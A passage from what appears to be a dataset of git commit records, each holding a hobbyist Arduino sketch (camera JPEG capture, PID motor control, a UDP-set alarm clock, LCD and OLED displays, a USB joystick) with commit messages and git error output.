myCAM.wrSensorReg8_16( 0xF0, 0x01); \/\/ switch to JPEG settings\n myCAM.wrSensorReg8_16( 0xC6, 0x270B);\n myCAM.wrSensorReg8_16( 0xC8, 0X0010);\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2772);\n myCAM.wrSensorReg8_16( 0xC8, 0X0067);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2774);\n myCAM.wrSensorReg8_16( 0xC8, 0X0406);\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA776);\n myCAM.wrSensorReg8_16( 0xC8, 0X0002);\n\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2908);\n myCAM.wrSensorReg8_16( 0xC8, restart_int); \/\/ set restart interval\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA907);\n myCAM.wrSensorReg8_16( 0xC8, 0X0010); \/\/ enable scaled quantization\n\n\n refreshMode();\n refresh();\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA120);\n myCAM.wrSensorReg8_16( 0xC8, 0X0002);\n\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA103);\n myCAM.wrSensorReg8_16( 0xC8, 0X0002);\n\n}\n\nvoid mirror() {\n uint16_t value;\n\n Serial.println(\"Mirror\");\n\n myCAM.wrSensorReg8_16( 0xF0, 0x00);\n myCAM.rdSensorReg8_16( 0x20, &value);\n value |= 0x0001;\n myCAM.wrSensorReg8_16( 0x20, value);\n\n refresh();\n}\n\n\nvoid toggleTestpattern() {\n uint16_t value;\n\n Serial.println(\"Toggle testpattern\");\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.rdSensorReg8_16( 0x48, &value);\n Serial.print(\"setting : \");\n Serial.println(value, HEX);\n if ( value == 0x0000) {\n myCAM.wrSensorReg8_16( 0x48, 0x0003);\n }\n else {\n myCAM.wrSensorReg8_16( 0x48, 0x0000);\n }\n myCAM.rdSensorReg8_16( 0x48, &value);\n Serial.print(\"setting : \");\n Serial.println(value, HEX);\n\n refresh();\n}\n\n\nvoid setup()\n{\n#if defined (__AVR__)\n Wire.begin();\n#endif\n#if defined(__arm__)\n Wire1.begin();\n#endif\n Serial.begin(115200);\n Serial.println(\"hello\");\n\n \/\/ set the slaveSelectPin as an output:\n pinMode(slaveSelectPin, OUTPUT);\n\n \/\/ initialize SPI:\n SPI.begin();\n myCAM.write_reg(ARDUCHIP_MODE, 0x00);\n myGLCD.InitLCD();\n\n myCAM.InitCAM();\n\n resetCAM();\n setFormats();\n \/\/setSizes(0x140, 0x0f0, width, height);\n setSizes(width, height, width, height + OFFSET);\n load_patch_segment();\n call_vmt(0x52a);\n\n\n \/\/ int mclk = 25000000;\n \/\/ int scale = 65536;\n uint16_t addr, v;\n addr = 0x2611;\n myCAM.wrSensorReg8_16(0xF0, 0x01);\n myCAM.wrSensorReg8_16(0xC6, addr);\n \/\/ v = (uint16_t) (mclk\/scale);\n v = 0x17D;\n Serial.println(v, HEX);\n myCAM.wrSensorReg8_16(0xC8, v);\n myCAM.wrSensorReg8_16(0xC6, addr);\n myCAM.rdSensorReg8_16(0xC8, &v);\n Serial.println(v, HEX);\n\n\n delayMicroseconds(600000);; \/\/minimum delay 600 msec\n\n AF_mode();\n\n myCAM.wrSensorReg8_16(0xf0, 0x01);\n myCAM.wrSensorReg8_16(0xc6, 0x810D);\n myCAM.wrSensorReg8_16(0xc8, 0x0002);\n myCAM.wrSensorReg8_16(0xc6, 0x810E);\n myCAM.wrSensorReg8_16(0xc8, 0x00c4);\n\n\n call_init(0x400);\n\n Serial.println(\"end patch loading\");\n\n doCapture(0x20);\n\n \/\/Initialize SD Card\n if (!SD.begin(SD_CS))\n {\n \/\/while (1);\t\t\/\/If failed, stop here\n Serial.println(\"SD card failed\");\n }\n Serial.println(\"init done\");\n}\n\nvoid loop()\n{\n char str[8];\n static int k = 0;\n uint8_t temp;\n uint16_t value, length_low, length_high;\n uint32_t length;\n int time = 0;\n myCAM.write_reg(ARDUCHIP_MODE, 0x01);\t\t \t\t\t\/\/Switch to CAM\n\n while (1)\n {\n if (Serial.available()) {\n temp = Serial.read();\n if (temp == 't') {\n toggleTestpattern();\n }\n if (temp == 'f') {\n AF_refocus();\n Serial.println(\"AF refocus\");\n }\n }\n\n temp = myCAM.read_reg(ARDUCHIP_TRIG);\n time++;\n if (!(temp & VSYNC_MASK))\t\t\t\t \t\t\t\/\/New Frame is coming\n {\n \/\/ Serial.print(\"VSYNC \");\n \/\/ Serial.println(time);\n time = 0;\n myCAM.write_reg(ARDUCHIP_MODE, 0x00); \t\t\/\/Switch to MCU\n myGLCD.resetXY();\n myCAM.write_reg(ARDUCHIP_MODE, 0x01); \t\t\/\/Switch to CAM\n while (!(myCAM.read_reg(ARDUCHIP_TRIG) & 0x01)) {\n time++;\n } \t \/\/Wait for VSYNC is gone\n \/\/ Serial.print(\"VSYNC gone \");\n \/\/ Serial.println(time);\n time = 0;\n }\n else if (temp & SHUTTER_MASK)\n {\n AF_refocus();\n delay(4000);\n Serial.println(\"trigger\");\n k = k + 1;\n strcat(str, \"mt9d111\");\n itoa(k, str, 10);\n strcat(str, \".jpg\");\t\t\t\t\t\t\t\t\/\/Generate file name\n myCAM.write_reg(ARDUCHIP_MODE, 0x00); \t\t\/\/Switch to MCU, freeze the screen\n\n GrabImage(str);\n Serial.println(\"grab done\");\n }\n }\n}\n\n\nvoid GrabImage(char* str)\n{\n File outFile;\n int i;\n uint16_t k1 = 0;\n uint16_t k2 = 0;\n uint16_t length_high1;\n uint16_t length_low1;\n char ch;\n \n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0xA90f);\n myCAM.rdSensorReg8_16( 0xC8, &length_high1);\n \/\/Serial.print(\"jpeg image length high \");\n \/\/Serial.println(length_high1, HEX);\n\n myCAM.wrSensorReg8_16( 0xF0, 0x01);\n myCAM.wrSensorReg8_16( 0xC6, 0x2910);\n myCAM.rdSensorReg8_16( 0xC8, &length_low1);\n \/\/Serial.print(\"jpeg image length low \");\n \/\/Serial.println(length_low1, HEX);\n \n Serial.println(str);\n outFile = SD.open(str, O_WRITE | O_CREAT | O_TRUNC ); \/\/ overwrite if file exists\n if (! outFile)\n {\n Serial.println(\"Open File Error\");\n return;\n }\n\n \/\/Switch to FIFO Mode\n myCAM.write_reg(ARDUCHIP_TIM, 0x10);\n \/\/Flush the FIFO\n myCAM.flush_fifo();\n \/\/Start capture\n myCAM.start_capture();\n\n \/\/Polling the capture done flag\n while (!(myCAM.read_reg(ARDUCHIP_TRIG) & CAP_DONE_MASK));\n\n \/\/Write the JPEG header\n for ( i = 0; i < 0x9f; i++)\n {\n ch = pgm_read_byte(&JPEG_header[i]);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n }\n\n ch = (uint8_t) (height >> 8);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n ch = (uint8_t) (height & 0xFF);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n ch = (uint8_t) (width >> 8);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n ch = (uint8_t) (width & 0xFF);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n for ( i = 0xA3; i < JPEGIMAGEOFFSET; i++)\n {\n ch = pgm_read_byte(&JPEG_header[i]);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n }\n\n for ( k2 = 0; k2 < length_high1; k2++)\n {\n for ( k1 = 0; k1 < 0xffff; k1++) {\n ch = myCAM.read_fifo();\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n }\n }\n for ( k1 = 0; k1 < length_low1; k1++) {\n ch = myCAM.read_fifo();\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n }\n ch = (uint8_t) (0xFF);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n ch = (uint8_t) (0xD9);\n outFile.write((uint8_t*)&ch, 1);\n Serial.write(ch);\n \/\/Close the file\n outFile.close();\n\n \/\/Clear the capture done flag\n myCAM.clear_fifo_flag();\n\n \/\/Switch to LCD Mode\n myCAM.write_reg(ARDUCHIP_TIM, 0);\n Serial.println(\"file written\");\n return;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduCAM\/examples\/Shield_V2\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG\/ArduCAM_Shield_V2_MT9D111_Camera_JPEG.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"279ed87571f53c1f819f2e8e5581a2f5cce9eed2","subject":"Create motor_5.ino","message":"Create motor_5.ino","repos":"RationalAsh\/invkin,RationalAsh\/invkin,RationalAsh\/invkin","old_file":"arduino\/motor_5.ino","new_file":"arduino\/motor_5.ino","new_contents":"#include <Wire.h> \ndouble potcurval; \/\/ variable to read the value from the analog pin \nint angel; \/\/Integer value of angle\n double angle =135;\n\n double curangle,kP=10.00,kI=25,kD=1.85,Last=0;\n double P=0,I=0,D=0,Drive,Error=0,Integral=0;\n \n\n void backward()\n {\n digitalWrite(12,HIGH);\n digitalWrite(9,LOW);\n }\n void forward()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,HIGH);\n }\n void halt()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,LOW);\n }\nvoid setup() \n{ \n \/\/ myservo.attach(6); \/\/ attaches the servo on pin 9 to the servo object \n pinMode(9,OUTPUT);\n pinMode(12,OUTPUT);\n Serial.begin(9600);\n pinMode(11,OUTPUT);\n Wire.begin(5);\n Wire.onReceive(receiveEvent);\n pinMode(13, OUTPUT);\n} \n void Errorcalc()\n {\n potcurval=(double)analogRead(A0)+1;\n potcurval=(potcurval\/1024)*5;\n curangle=(potcurval\/5)*270;\n \n Error = curangle-angle;\n }\nvoid loop() \n{ \n Serial.print(\"got: \");\n\t Serial.println(angle);\n\t if(angle > 127) digitalWrite(13, HIGH);\n\t else digitalWrite(13, LOW);\n Errorcalc();\n if (abs(Error) <.6){ \/\/ prevent integral 'windup'\n Integral = Integral + Error; \/\/ accumulate the error integral\n }\n else {\n Integral=0; \/\/ zero it if out of bounds\n }\n P = Error*kP; \/\/ calc proportional term\n I = Integral*kI; \/\/ integral term\n D = (Last-curangle)*kD; \/\/ derivative term\n \n Drive = P + I + D; \/\/ Total drive = P+I+D\n \n \/\/Drive = (Drive\/550)*255; \/\/ scale Drive to be in the range 0-255\n \n if(abs(Drive) < 60)\n {\n Drive += (Drive\/abs(Drive)) *60;\n }\n if (abs(Drive)>255) {\n Drive=(Drive\/abs(Drive)) *255;\n }\n \n \n Serial.println(Error);\n if (Error < 0){ \/\/ Check which direction to go.\n forward();\n \n }\n else if(Error >=0){ \/\/ depending on the sign of Error\n backward();\n \n }\n \n if(abs(Error)<2)\n {\n halt();\n Serial.println(\"break !!!\");\n }\n \n analogWrite (11,abs(Drive)); \/\/ send PWM command to motor board\n Last=curangle;\n \/*\n Serial.println(\"P :\");\n Serial.println(P);\n Serial.println(\"I :\");\n Serial.println(I);\n Serial.println(\"D :\");\n Serial.println(D);\n *\/\n\n}\nvoid receiveEvent(int howMany)\n{\n int x = Wire.read();\n angle = (double) x;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/motor_5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60252962a17b2adc7849924791988512d6bef025","subject":"basic firmware using built-in RGB LED","message":"basic firmware using built-in RGB LED\n","repos":"hsbp\/spalarm","old_file":"firmware\/spalarm.ino","new_file":"firmware\/spalarm.ino","new_contents":"#define SET_ALARM_PORT 42620\n#define DISCOVERY_PORT 42621\n\nUDP Discovery;\nUDP SetAlarm;\n\n#define ONE_DAY_MILLIS (24 * 60 * 60 * 1000)\nunsigned long lastSync = millis();\n\n#define RED 0\n#define GREEN 1\n#define BLUE 2\n#define HOUR 3\n#define MINUTE 4\n#define SET 5\n\nbyte alarm[6];\n\nvoid setup() {\n\tDiscovery.begin(DISCOVERY_PORT);\n\tSetAlarm.begin(SET_ALARM_PORT);\n\tfor (byte b = 0; b < 6; b++) alarm[b] = EEPROM.read(b);\n}\n\nvoid loop() {\n\tbyte buf[64];\n\tif (Discovery.parsePacket() > 0) {\n\t\tDiscovery.flush();\n\t\tString myID = Spark.deviceID();\n\t\tmyID.toCharArray((char*)buf, 64);\n\t\tDiscovery.beginPacket(Discovery.remoteIP(), DISCOVERY_PORT);\n\t\tDiscovery.write(buf, myID.length());\n\t\tDiscovery.endPacket();\n\t}\n\tif (SetAlarm.parsePacket() > 4) {\n\t\tSetAlarm.read((char*)alarm, 5);\n\t\tSetAlarm.flush();\n\t\tSetAlarm.beginPacket(SetAlarm.remoteIP(), SET_ALARM_PORT);\n\t\tSetAlarm.write((byte*)\"ACK\", 3);\n\t\tSetAlarm.endPacket();\n\t\talarm[SET] = 1;\n\t\tfor (byte b = 0; b < 6; b++) EEPROM.write(b, alarm[b]);\n\t}\n\tif (alarm[SET] && alarm[HOUR] == Time.hour() && alarm[MINUTE] == Time.minute()) {\n\t\tRGB.control(true);\n\t\tRGB.brightness(0);\n\t\tRGB.color(alarm[RED], alarm[GREEN], alarm[BLUE]);\n\t\tfor (byte b = 0; b < 255; b++) {\n\t\t\tRGB.brightness(b + 1);\n\t\t\tdelay(64);\n\t\t}\n\t\tplayMelody();\n\t}\n\tif (millis() - lastSync > ONE_DAY_MILLIS) {\n\t\t\/\/ Request time synchronization from the Spark Cloud\n\t\tSpark.syncTime();\n\t\tlastSync = millis();\n\t}\n}\n\n#define speakerPin A0\n\n\/\/ notes in the melody:\n\/\/ http:\/\/imslp.org\/wiki\/Peer_Gynt_Suite_No.1,_Op.46_%28Grieg,_Edvard%29#Full_Scores\n\n\/\/ H, #G, #F \/\/ E, #F, #G \/\/ H, [#G, A], #G \/\/ #F, E, [#F, #G, #F, #G]\n\/\/ [#G, A], H, #G, H \/\/ #C, #G, #C \/\/ H, #G, #F, (E)\n\n\/\/ http:\/\/www.phy.mtu.edu\/~suits\/notefreqs.html\n\nint melody[] = {\n\t1976, 1661, 1480,\n\t1319, 1480, 1661,\n\t1976, 1661, 1760, 1661, 1480,\n\t1319, 1480, 1661, 1480, 1661,\n\n\t1661, 1760, 1976, 1661, 1976,\n\t2217, 1661, 2217,\n\t1976, 1661, 1480, 1319\n\t};\n\n\/\/ note durations: 4 = quarter note, 8 = eighth note, etc.:\nint noteDurations[] = {\n\t8, 8, 8,\n\t8, 8, 8,\n\t10, 40, 40, 10, 8,\n\t8, 16, 16, 16, 16,\n\n\t40, 40, 10, 10, 8,\n\t8, 8, 8,\n\t8, 8, 8, 4\n\t};\n\nvoid playMelody() {\n \/\/ iterate over the notes of the melody:\n for (int thisNote = 0; thisNote < 28; thisNote++) {\n\n \/\/ to calculate the note duration, take one second\n \/\/ divided by the note type.\n \/\/e.g. quarter note = 1000 \/ 4, eighth note = 1000\/8, etc.\n int noteDuration = 2000 \/ noteDurations[thisNote];\n tone(speakerPin, melody[thisNote], noteDuration);\n\n \/\/ to distinguish the notes, set a minimum time between them.\n \/\/ the note's duration + 30% seems to work well:\n int pauseBetweenNotes = noteDuration * 1.20;\n delay(pauseBetweenNotes);\n \/\/ stop the tone playing:\n noTone(speakerPin);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/spalarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22bc0e24232c0729970c8977232618c4a1757880","subject":"Ajout du script Arduino","message":"Ajout du script Arduino\n","repos":"lea-leo\/leaspeaking","old_file":"arduino\/CommunicationArduino\/CommunicationArduino.ino","new_file":"arduino\/CommunicationArduino\/CommunicationArduino.ino","new_contents":"#include <Wire.h>\n#include <LiquidCrystal_I2C.h>\n\nLiquidCrystal_I2C lcd(0x27,20,4 );\n\nvoid setup()\n{\n Serial.begin(9600);\n lcd.init(); \/\/ initialize the lcd\n lcd.backlight();\n lcd.print(\"Setup Arduino\"); \/\/ Print a message to the LCD.\n}\n\nvoid loop()\n{\n if (Serial.available()) {\n lcd.clear();\n lcd.print(Serial.readString()); \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/CommunicationArduino\/CommunicationArduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dcb83aaadb00bf7daa7c4e3e4abb80c542509192","subject":"Adding the OLED menu renderer from Matthew Nielsen, see https:\/\/github.com\/jonblack\/arduino-menusystem\/pull\/80\/commits\/d26dc026b227479e98d2d605b4afda5a0e3e8a3a","message":"Adding the OLED menu renderer from Matthew Nielsen, see https:\/\/github.com\/jonblack\/arduino-menusystem\/pull\/80\/commits\/d26dc026b227479e98d2d605b4afda5a0e3e8a3a\n","repos":"djsegfault\/arduino,djsegfault\/arduino","old_file":"cyberbracer\/SSD1306AsciiWireTest\/SSD1306AsciiWireTest.ino","new_file":"cyberbracer\/SSD1306AsciiWireTest\/SSD1306AsciiWireTest.ino","new_contents":"\/*\n * oled_ssd1306.ino - Example code using the menu system library\n *\n * This example shows using the menu system with an OLED display controlled\n * controled over serial.\n *\n * It is targeted at a 128x64 or 128x32 OLED display that is based on the\n * SSD1306 driver IC (most on eBay and Amazon are) and connected via I2C.\n * It depends on the \"SSD1306Ascii\" library which can be found in the Arduino\n * IDE Library Manager or at https:\/\/github.com\/greiman\/SSD1306Ascii.\n *\n * If your particular display supports SPI then this code can be easily\n * modified based on the SPI examples in the \"SSD1306Ascii\" library.\n *\n * Contributed by Matthew Nielsen with all rights transfered to Jon Black\n * Copyright (c) 2015 arduino-menusystem\n * Licensed under the MIT license (see LICENSE)\n *\/\n\n#include <MenuSystem.h>\n\n\/* The address of the OLED display. 0x3C is the default for of most modules *\/\n#define I2C_ADDRESS 0x3C\n\n#include <Arduino.h> \/\/ Used by SSD1306Ascii\n\/* Wire.h is not always required, depending on target platform *\/\n\/\/ #include <Wire.h>\n#include \"SSD1306Ascii.h\"\n#include \"SSD1306AsciiWire.h\"\nSSD1306AsciiWire oled;\n\nclass MyRenderer : public MenuComponentRenderer {\npublic:\n void render(Menu const& menu) const {\n oled.clear();\n\n if (menu.get_name() == \"\") {\n oled.println(\"Main Menu\");\n } else {\n oled.println(menu.get_name());\n }\n\n for (int i = 0; i < menu.get_num_components(); ++i) {\n MenuComponent const* cp_m_comp = menu.get_menu_component(i);\n if (cp_m_comp->is_current()) {\n oled.print(\">\");\n } else {\n oled.print(\" \");\n }\n cp_m_comp->render(*this);\n\n oled.println(\"\");\n }\n }\n\n void render_menu_item(MenuItem const& menu_item) const {\n oled.print(menu_item.get_name());\n }\n\n void render_back_menu_item(BackMenuItem const& menu_item) const {\n oled.print(menu_item.get_name());\n }\n\n void render_numeric_menu_item(NumericMenuItem const& menu_item) const {\n oled.print(menu_item.get_name());\n }\n\n void render_menu(Menu const& menu) const {\n oled.print(menu.get_name());\n }\n};\nMyRenderer my_renderer;\n\n\/\/ Forward declarations\n\nvoid on_item1_selected(MenuComponent* p_menu_component);\nvoid on_item2_selected(MenuComponent* p_menu_component);\nvoid on_item3_selected(MenuComponent* p_menu_component);\n\n\/\/ Menu variables\n\nMenuSystem ms(my_renderer);\nMenuItem mm_mi1(\"Level 1 - Item 1 (Item)\", &on_item1_selected);\nMenuItem mm_mi2(\"Level 1 - Item 2 (Item)\", &on_item2_selected);\nMenu mu1(\"Level 1 - Item 3 (Menu)\");\nMenuItem mu1_mi1(\"Level 2 - Item 1 (Item)\", on_item3_selected);\n\n\/\/ Menu callback function\n\nvoid on_item1_selected(MenuComponent* p_menu_component) {\n oled.clear();\n oled.print(\"Item1 Selected\");\n delay(1500); \/\/ so we can look the result on the display\n}\n\nvoid on_item2_selected(MenuComponent* p_menu_component) {\n oled.clear();\n oled.print(\"Item2 Selected\");\n delay(1500); \/\/ so we can look the result on the display\n}\n\nvoid on_item3_selected(MenuComponent* p_menu_component) {\n oled.clear();\n oled.print(\"Item3 Selected\");\n delay(1500); \/\/ so we can look the result on the display\n}\n\nvoid serial_print_help() {\n Serial.println(\"***************\");\n Serial.println(\"w: go to previus item (up)\");\n Serial.println(\"s: go to next item (down)\");\n Serial.println(\"a: go back (right)\");\n Serial.println(\"d: select \\\"selected\\\" item\");\n Serial.println(\"?: print this help\");\n Serial.println(\"h: print this help\");\n Serial.println(\"***************\");\n}\n\nvoid serial_handler() {\n char inChar;\n if ((inChar = Serial.read()) > 0) {\n switch (inChar) {\n case 'w': \/\/ Previus item\n ms.prev();\n ms.display();\n break;\n case 's': \/\/ Next item\n ms.next();\n ms.display();\n break;\n case 'a': \/\/ Back presed\n ms.back();\n ms.display();\n break;\n case 'd': \/\/ Select presed\n ms.select();\n ms.display();\n break;\n case '?':\n case 'h': \/\/ Display help\n serial_print_help();\n break;\n default:\n break;\n }\n }\n}\n\n\/\/ Standard arduino functions\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Initialize the OLED display\n Wire.begin();\n oled.begin(&Adafruit128x64, I2C_ADDRESS);\n oled.setFont(System5x7);\n oled.print(\"Display Initialized\");\n\n serial_print_help();\n\n ms.get_root_menu().add_item(&mm_mi1);\n ms.get_root_menu().add_item(&mm_mi2);\n ms.get_root_menu().add_menu(&mu1);\n mu1.add_item(&mu1_mi1);\n\n ms.display();\n}\n\nvoid loop() {\n serial_handler();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cyberbracer\/SSD1306AsciiWireTest\/SSD1306AsciiWireTest.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"35abcbf57ac8fba99ebd324bb58dbaef0673e75d","subject":"Arduino sketch, testing communication between each component. Simply activates lights (I haven't gotten my servos yet).","message":"Arduino sketch, testing communication between each component. Simply\nactivates lights (I haven't gotten my servos yet).","repos":"jnomani\/raspberry_pi_arduino_robot,jnomani\/raspberry_pi_arduino_robot,jnomani\/raspberry_pi_arduino_robot","old_file":"Arduino\/Serial_Test\/Serial_Test.ino","new_file":"Arduino\/Serial_Test\/Serial_Test.ino","new_contents":"\/\/Test kit\n\nint light = 12;\nint FLF = 2;\nint FLB = 8;\nint FRF = 3;\nint FRB = 4;\nint BLF = 6;\nint BLB = 7;\nint BRF = 9;\nint BRB = 10;\n\nvoid setup(){\n Serial.begin(9600);\n Serial.println(\"Light Test\");\n for(int i = 0; i < 13; i++){\n pinMode(i, OUTPUT);\n }\n}\n\nvoid leftForward(boolean on){\n if(on){\n digitalWrite(FLF, HIGH);\n digitalWrite(FLB, HIGH);\n }else{\n digitalWrite(FLF, LOW);\n digitalWrite(FLB, LOW);\n }\n}\n\nvoid rightForward(boolean on){\n if(on){\n digitalWrite(FRF, HIGH);\n digitalWrite(FRB, HIGH);\n }else{\n digitalWrite(FRF, LOW);\n digitalWrite(FRB, LOW);\n }\n}\n\nvoid lights(boolean on){\n if(on){\n digitalWrite(light, HIGH);\n }else{\n digitalWrite(light, LOW);\n }\n}\n\nvoid leftBack(boolean on){\n if(on){\n digitalWrite(BLF, HIGH);\n digitalWrite(BLB, HIGH);\n }else{\n digitalWrite(BLF, LOW);\n digitalWrite(BLB, LOW);\n }\n}\n\nvoid rightBack(boolean on){\n if(on){\n digitalWrite(BRF, HIGH);\n digitalWrite(BRB, HIGH);\n }else{\n digitalWrite(BRF, LOW);\n digitalWrite(BRB, LOW);\n }\n}\n\n\nvoid loop(){\n char message = Serial.read();\n \n if(message == 'L'){\n leftForward(true);\n }else if(message == 'R'){\n rightForward(true); \n }else if(message == 'l'){\n leftForward(false); \n }else if(message == 'r'){\n rightForward(false); \n }else if(message == 'H'){\n lights(true);\n }else if(message == 'h'){\n lights(false);\n }else if(message == 'D'){\n rightBack(true);\n }else if(message == 'd'){\n rightBack(false); \n }else if(message == 'T'){\n leftBack(true); \n }else if(message == 't'){\n leftBack(false); \n }else{\n \/\/Moo! I'm a cow \n }\n \n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Serial_Test\/Serial_Test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1230645a6d10babb8966d82b06a001156773cf5","subject":"Classic JoyStick","message":"Classic JoyStick\n\nCommodore 64\/Amiga, Atari 2600\/XL\/ST, ZX Spectrum, Amstrad CPC, MSX and\nmany others compatible Joystick\n","repos":"jfrmilner\/Arduino-USBRetroGamingControllers","old_file":"ClassicJoyStick_USB\/ClassicJoyStick_USB.ino","new_file":"ClassicJoyStick_USB\/ClassicJoyStick_USB.ino","new_contents":" * Auth: John Milner \/ jfrmilner\n * \n * Version\n * 1.0\n * \n * Date\n * May 2016\n * \n * Hardware\n * ATmega32u4 based Arduino (Arduino Leonardo\/Micro)\n * Competition Pro 5000 - http:\/\/www.vesalia.de\/e_comp5000.htm (example)\n * \n * Software\n * Arduino IDE 1.6.8\n * Arduino Joystick Library 1.0.1 - https:\/\/github.com\/MHeironimus\/ArduinoJoystickLibrary\n * \n * Works with.. \n * OS (plug and play): Windows 10 \/ Linux RetroPie 3.8.1\n * VICE (C64 Emulator) - http:\/\/vice-emu.sourceforge.net\/\n * \n * Pinout Reference (C64) - http:\/\/old.pinouts.ru\/Inputs\/ControlPortC64_pinout.shtml\n * \n * DE9 female plug on end view:\n * 5 4 3 2 1 \n * 9 8 7 6\n * pin 1: JOY_UP\n * pin 2: JOY_DOWN\n * pin 3: JOY_LEFT\n * pin 4: JOY_RIGHT\n * pin 5: No Connection\n * pin 6: JOY_BUTTON\n * pin 7: No Connection\n * pin 8: Ground\n * pin 9: No Connection\n * \n *\/\n\n#include <Joystick.h>\n\n\/\/ Arduino Controller input Pins\nconst int JOY_UP = 2;\nconst int JOY_DOWN = 3;\nconst int JOY_LEFT = 4;\nconst int JOY_RIGHT = 5;\nconst int JOY_BUTTON = 6;\n \nvoid setup() \n{\n pinMode(JOY_UP, INPUT_PULLUP); \n pinMode(JOY_DOWN, INPUT_PULLUP); \n pinMode(JOY_LEFT, INPUT_PULLUP); \n pinMode(JOY_RIGHT, INPUT_PULLUP); \n pinMode(JOY_BUTTON, INPUT_PULLUP); \n\n \/\/ Initialize Joystick Library\n Joystick.begin(false);\n}\n\nvoid loop() \n{\n \/\/ button\n !digitalRead(JOY_BUTTON) ? Joystick.pressButton(0) : Joystick.releaseButton(0);\n\n \/\/ digital xy axis \n Joystick.setXAxis(0);\n Joystick.setYAxis(0);\n if (!digitalRead(JOY_UP)) Joystick.setYAxis(-127);\n if (!digitalRead(JOY_DOWN)) Joystick.setYAxis(127);\n if (!digitalRead(JOY_LEFT)) Joystick.setXAxis(-127);\n if (!digitalRead(JOY_RIGHT)) Joystick.setXAxis(127);\n\n Joystick.sendState();\n \n delay(50);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ClassicJoyStick_USB\/ClassicJoyStick_USB.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"99148b25d96ba0e5706b6172d3025c53421a0e0f","subject":"going back and forth reduces calibration width","message":"going back and forth reduces calibration width\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_file":"Arduino Tests\/StallGuardTest\/SGHome.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c1e457de0e09cc92fdb07bd57f405d2f8e8e07ce","subject":"added code for the new Receiver","message":"added code for the new Receiver\n\ntested on Arduino as well as ATmega328p with the Sender module.\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Modules\/Sensor\/Receiver\/ArduinoCodes\/ReceiverATmega\/ReceiverATmega.ino","new_file":"Modules\/Sensor\/Receiver\/ArduinoCodes\/ReceiverATmega\/ReceiverATmega.ino","new_contents":"\/*\n** ModuleNameATmega.ino\n** MakerWear ModuleName Module's ATmega Program.\n**\n** Description\n** Description\n** Description\n**\n**\n** ATmega328 Pin Configurations:\n**\n** Pin 1 (Reset): Pin 28 (A5): \n** Pin 2 (D0\/RX): Pin 27 (A4):\n** Pin 3 (D1\/TX): Pin 26 (A3):\n** Pin 4 (D2): Pin 25 (A2):\n** Pin 5 (D3\/PWM): Pin 24 (A1):\n** Pin 6 (D4): Pin 23 (A0): Module Input\n** Pin 7 (PWR): Pin 22 (GND):\n** Pin 8 (GND): Pin 21 (AREF):\n** Pin 9 (XTAL1): Pin 20 (AVCC):\n** Pin 10 (XTAL2): Pin 19 (D13):\n** Pin 11 (D5\/PWM): Pin 18 (D12):\n** Pin 12 (D6\/PWM): Pin 17 (D11\/PWM):\n** Pin 13 (D7): Pin 16 (D10\/PWM):\n** Pin 14 (D8): Pin 15 (D9\/PWM):\n**\n**\n** Created on xx\/yy\/zz.\n** By Akbar Akbari\n** Modified on xx\/yy\/zz.\n** By Asghar Asghari\n**\n** MakerWear Link:\n** Github Link: github.com\/myjeeed\/MakerWear\n**\n*\/\n\n\/\/#include 